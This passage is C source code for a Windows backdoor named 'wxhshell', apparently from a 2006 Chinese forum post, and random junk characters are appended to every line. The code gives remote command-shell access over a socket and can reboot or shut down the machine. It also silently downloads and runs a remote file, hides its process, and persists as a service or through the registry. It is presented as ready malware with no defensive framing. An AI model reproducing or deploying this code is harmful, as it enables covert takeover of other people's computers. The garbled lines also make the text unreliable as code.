  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zJG=9C?  
  } e# KP3Lp  
  else { /qweozW_+  
XvkFP'%i/  
    switch(cmd[0]) { 3| 0OW Jk  
  y-o54e$4Cq  
  // 帮助 9~}.f1z  
  case '?': { d? 4-"9Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); og|~:>FmJo  
    break; d.p%jVO)"  
  } lNB<_SO  
  // 安装 J;Veza  
  case 'i': { `<* tp@  
    if(Install()) rF=\H3`p3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vS G vv43G  
    else AHn Yfxv_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A(wuRXnVWK  
    break; 1^y^b{  
    } Z1oUAzpj4  
  // 卸载 L*1yK*  
  case 'r': { w~WW2 w  
    if(Uninstall()) B S+=*3J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Z"<&tsZ  
    else QP!0I01  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qp2&Z8S\D  
    break; "i; "  
    } w>6 cc#>q  
  // 显示 wxhshell 所在路径 ^-26K|{3  
  case 'p': { a VIh|v  
    char svExeFile[MAX_PATH]; ]McDN[h:  
    strcpy(svExeFile,"\n\r"); 3ULn ]jA  
      strcat(svExeFile,ExeFile); "j?\Ze*  
        send(wsh,svExeFile,strlen(svExeFile),0); N6%M+R/Q  
    break; YF<U'EVU-  
    } 9NausE40  
  // 重启 |Q*{yvfEo  
  case 'b': { L'<.#(|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nBGcf(BE.$  
    if(Boot(REBOOT)) qruv^#_l   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^_JByB D  
    else { GJn ~x  
    closesocket(wsh); ?m dGMf)  
    ExitThread(0); Iz[wrtDI 1  
    } ')1p  
    break; 6Wc'5t3  
    } & _mp!&5XV  
  // 关机 HHg[6aw  
  case 'd': { E{}Vi>@V?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QZamf lk  
    if(Boot(SHUTDOWN)) uui3jZ:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZMmf!cKY:'  
    else { n_Bi HMIU'  
    closesocket(wsh); Vv3:x1S  
    ExitThread(0); &,C;_3   
    } Qs;MEt1  
    break; 0p1~!X=I  
    } [ .c'22R6  
  // 获取shell }g_\?z3gt  
  case 's': { 8&UwnEk<  
    CmdShell(wsh); > PONu]^  
    closesocket(wsh); <F-W fR  
    ExitThread(0); _q3|Ddm2LN  
    break; .0iHI3i^  
  } w~}.c:B  
  // 退出 o1)8?h  
  case 'x': { lbiMB~rwI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %mMPALN]{  
    CloseIt(wsh); uZ8^"  W  
    break; %M u$0~ct"  
    } v `7`'  
  // 离开 pDM95.6   
  case 'q': { q1vsvL9Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d{:0R9  
    closesocket(wsh); ^=7XA894  
    WSACleanup(); -9~WtTaV.H  
    exit(1); xBg. QV  
    break; eGQ -Ht,N  
        } _68{ {.  
  } _"G./X  
  } ZOY zCc(d  
B):hm  
  // 提示信息 b?nORWjC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;)rXQm  
} o2W^!#]=  
  } 40Hm+Ge  
?<6yKxn  
  return; feG#*m2g  
} 5:|=/X%#qp  
0*XCAnJ^_  
// shell模块句柄 p~f=0K  
int CmdShell(SOCKET sock) K| '`w.  
{ sX,S]:X  
STARTUPINFO si; IHcR/\mz  
ZeroMemory(&si,sizeof(si)); 6gTc)rhRT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WWG+0jQ9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6Eyinv  
PROCESS_INFORMATION ProcessInfo; <Xl/U^B  
char cmdline[]="cmd"; u?I2|}#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -)Of\4kx  
  return 0; @23~)uiZa  
} _BHEK  
HMqR%A  
// 自身启动模式 oUx%ra{  
int StartFromService(void) g[$4a4X  
{ ]'5 G/H5?;  
typedef struct s"B+),Jod  
{ M3Oqto<8"  
  DWORD ExitStatus; U6F1QLSLz  
  DWORD PebBaseAddress; ED^0t  
  DWORD AffinityMask; i6)HC  
  DWORD BasePriority; 5]~4 51  
  ULONG UniqueProcessId; 5&TH\2u  
  ULONG InheritedFromUniqueProcessId; 1:22y:^j  
}   PROCESS_BASIC_INFORMATION; iB#*XJ;q  
]-cSTtO  
PROCNTQSIP NtQueryInformationProcess; FA!!S`{\  
?}"39n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #Fz/}lO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aKz:hG  
-;*lcY*  
  HANDLE             hProcess; Ticx]_+~T  
  PROCESS_BASIC_INFORMATION pbi; D|$Fw5!^k6  
0sI7UK`m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9PdD=9HH  
  if(NULL == hInst ) return 0; nYE%@Up  
IPf>9#L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }/2M?W0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i>e?$H,/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z]R%'LGu  
xSq{pxX  
  if (!NtQueryInformationProcess) return 0; u=t.1eS5  
mM.YZUX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F}?4h Dt  
  if(!hProcess) return 0; 'OvM  
0ZJj5<U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E8BIb 'b;  
}:57Ym)7w  
  CloseHandle(hProcess); xZA.<Yd^r  
JJK-+a6cX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qP]1}-  
if(hProcess==NULL) return 0; e, fZ>EJ  
fZrh_^yH  
HMODULE hMod; ["[v  
char procName[255]; in6*3C4  
unsigned long cbNeeded; c(aykIVOo  
mM:%-I\$   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); inh J|pe"  
:Iuc H%6V  
  CloseHandle(hProcess); b0Dco0U(  
Bj<s!}i{[  
if(strstr(procName,"services")) return 1; // 以服务启动 V-eRGSx  
_ s*p$/V\  
  return 0; // 注册表启动 voQJ!h1  
} No`*->R  
nW}jTBu_K+  
// 主模块 LI].*n/v  
int StartWxhshell(LPSTR lpCmdLine) -E~r?\;X  
{ 83 <CDjD  
  SOCKET wsl; V>/,&~0  
BOOL val=TRUE; f;AI4:#I  
  int port=0; Ho =vdB  
  struct sockaddr_in door; $JUkw sc  
&>&6OV]P'  
  if(wscfg.ws_autoins) Install(); "=1gA~T  
D|ra ;d  
port=atoi(lpCmdLine); i I`vu  
iD*Hh-  
if(port<=0) port=wscfg.ws_port; U8J9 #+:  
Q6D>(H#"0  
  WSADATA data; < Sgc6>)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (Ldvx_  
>lKu[nq;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2gh=0%|\gx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A*~G[KC3(  
  door.sin_family = AF_INET; >I/@GX/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H6{Bx2J1*  
  door.sin_port = htons(port); P;o  {t  
_",< at  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `hdff0  
closesocket(wsl); :;eQ*{ `\  
return 1; PpKjjA<  
} rZ|p{ym  
>KL=(3:":p  
  if(listen(wsl,2) == INVALID_SOCKET) { kDDC@A $  
closesocket(wsl); 2Z%n "z68  
return 1; g$^-WmX\m  
} xT]t3'y|-  
  Wxhshell(wsl); wN58uV '  
  WSACleanup(); Li]96+C$}  
>}\s-/  
return 0; w%s];EE  
(WJ)!  
} G;flj}z  
`FQ]ad Fz  
// 以NT服务方式启动 8["%e#%`$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <g%A2 lI  
{ IdN3Ea]  
DWORD   status = 0; l)*(UZ"  
  DWORD   specificError = 0xfffffff; u*): D~A  
q)L4*O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sYBmL]Hr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JRw,${W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nj:w1E/R  
  serviceStatus.dwWin32ExitCode     = 0; D\b$$z]q  
  serviceStatus.dwServiceSpecificExitCode = 0; NIVR;gm  
  serviceStatus.dwCheckPoint       = 0; *U,J Q  
  serviceStatus.dwWaitHint       = 0; `(h^z>%  
Qv5 fK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S4`X^a}pY  
  if (hServiceStatusHandle==0) return; &>C+5`bg  
+^+'.xQ  
status = GetLastError(); x<M::")5!V  
  if (status!=NO_ERROR) n)"JMzjQ<  
{ \? )S {  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F5RL+rU(h  
    serviceStatus.dwCheckPoint       = 0; 8 5X}CCQ  
    serviceStatus.dwWaitHint       = 0; #55:qc>m  
    serviceStatus.dwWin32ExitCode     = status; D\&S {  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ba8=nGa4KY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (87| :{  
    return; !e$ZOYe  
  } ;W|NG3_y  
tRJ5IX##L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $ mE* =  
  serviceStatus.dwCheckPoint       = 0; }n4 T!N  
  serviceStatus.dwWaitHint       = 0; #| _VN %!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /]3[|  
} !i~(h&z  
3?a`@C&x  
// 处理NT服务事件,比如:启动、停止 e O\72? K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &Y?t  
{ %rG4X  
switch(fdwControl) .)b<cH~%  
{ kEnGr6e  
case SERVICE_CONTROL_STOP: 1#6emMV.`  
  serviceStatus.dwWin32ExitCode = 0; } 7 o!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L? DlR hu  
  serviceStatus.dwCheckPoint   = 0; O*l,&5  
  serviceStatus.dwWaitHint     = 0; F1stRZ1ZI  
  { JE-*o"&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NUYKMo1ze  
  } JkJ @bh Eu  
  return; ?'TK~,dG/  
case SERVICE_CONTROL_PAUSE:  C7ivA h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _x<NGIz  
  break; "jum*<QZz  
case SERVICE_CONTROL_CONTINUE: )~wKRyQff  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :TU|:2+  
  break; NS z }  
case SERVICE_CONTROL_INTERROGATE: ; zJb("n  
  break; *uyP+f2O  
}; qX-ptsQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4-.K<-T%D  
} s;9Du|0f^  
/%&  d:  
// 标准应用程序主函数 jXE:aWQht  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UA8hYWRP  
{ />S^`KSTM  
z)^|.  
// 获取操作系统版本 (NvjX})eh  
OsIsNt=GetOsVer(); JLE&nbKS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Rsfb?${0G  
?z9!=A%<V~  
  // 从命令行安装 c9-$^yno  
  if(strpbrk(lpCmdLine,"iI")) Install(); +<1 |apS1  
nv:Qd\UM  
  // 下载执行文件 rQimQ|+  
if(wscfg.ws_downexe) { RJWO h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cb9-~*1  
  WinExec(wscfg.ws_filenam,SW_HIDE); \s*M5oN]]  
} SCcvU4`o  
4$KDf;m@  
if(!OsIsNt) { 7{F\b  
// 如果时win9x,隐藏进程并且设置为注册表启动 @-)?uYw:r  
HideProc(); *lSu=dk+  
StartWxhshell(lpCmdLine); GGuU(sL*  
} /^.S nqk  
else ^Lgvey%  
  if(StartFromService()) g3$'G hf  
  // 以服务方式启动 dxs5woP  
  StartServiceCtrlDispatcher(DispatchTable); Qfn:5B]tI  
else h:8P9WhWF  
  // 普通方式启动 -O *_+8f  
  StartWxhshell(lpCmdLine); ^L2d%d\5  
n= <c_a)Nb  
return 0;  :RnUNz  
}
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只看该作者 1 发表于: 2006-10-10
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